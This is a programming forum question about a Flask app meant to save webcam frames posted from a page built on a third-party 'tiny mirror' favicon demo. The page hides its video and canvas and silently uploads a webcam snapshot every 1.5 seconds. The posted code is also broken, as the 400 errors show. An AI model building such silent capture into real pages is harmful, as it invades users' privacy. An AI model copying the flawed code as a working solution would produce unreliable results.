Save Image from mirror cam website using Flask

  ajax, flask, python, python-3.x

I’m working in a project where I capture image from mirror cam website and save that image in a file using flask.
I’m using mirror cam website to get live webcam using flask.

flaskTest.py

from flask import Flask, render_template, request 
from datetime import datetime
import base64


app = Flask(__name__)

@app.route("/",methods=['POST','GET'])
def home():
    if request.method == 'GET':
        now = datetime.now()
        file1 = open('myfile.txt', 'w')
        file1.write("Date and Time:t")
        file1.write(str(now))
        file1.close()

    if request.method == 'POST':
        req_data = request.get_json(force=True)
        encoded = req_data['canvasData']
        file2 = open('image.png', 'w')
        data = base64.b64decode(encoded)
        file2.write(str(data))
        file2.close()
    return render_template("index.html")
    
if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000)

I want to take image from that live webcam, so I used an html page which draw an image and send post data.

index.html

<!doctype html>
<html>
<head>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
</head>

<div class="video-wrap" hidden="hidden">
   <video id="video" playsinline autoplay></video>
</div>

<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>

<script>



function post(imgdata){
$.ajax({
    type: 'POST',
    data: imgdata,
    url: '/',
    dataType: 'json',
    async: false,
    success: function(result){
        // call the function that handles the response/results
    },
    error: function(){
    }
  });
};



'use strict';

const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');

const constraints = {
  audio: false,
  video: {
    
    facingMode: "user"
  }
};

// Access webcam
async function init() {
  try {
    const stream = await navigator.mediaDevices.getUserMedia(constraints);
    handleSuccess(stream);
  } catch (e) {
    errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
  }
}

// Success
function handleSuccess(stream) {
  window.stream = stream;
  video.srcObject = stream;

var context = canvas.getContext('2d');
  setInterval(function(){

       context.drawImage(video, 0, 0, 640, 480);
       var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
        post(canvasData); 
     }, 1500);
  

}

// Load init
init();

</script>

    <body>
        <p>Hint: Look at the favicon</p>
        <p>(Accept Permissions)</p>
        <p><label><input type="checkbox" name="mirror" id="mirror" /> Mirror image</label></p>
    </body>

</html>

Python debug:

127.0.0.1 - - [07/Sep/2021 00:32:06] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [07/Sep/2021 00:32:10] "POST / HTTP/1.1" 400 -
127.0.0.1 - - [07/Sep/2021 00:32:12] "POST / HTTP/1.1" 400 -
127.0.0.1 - - [07/Sep/2021 00:32:13] "POST / HTTP/1.1" 400 -

My problem is, I couldn’t able to get image post data and save it in file.

Source: Python Questions

LEAVE A COMMENT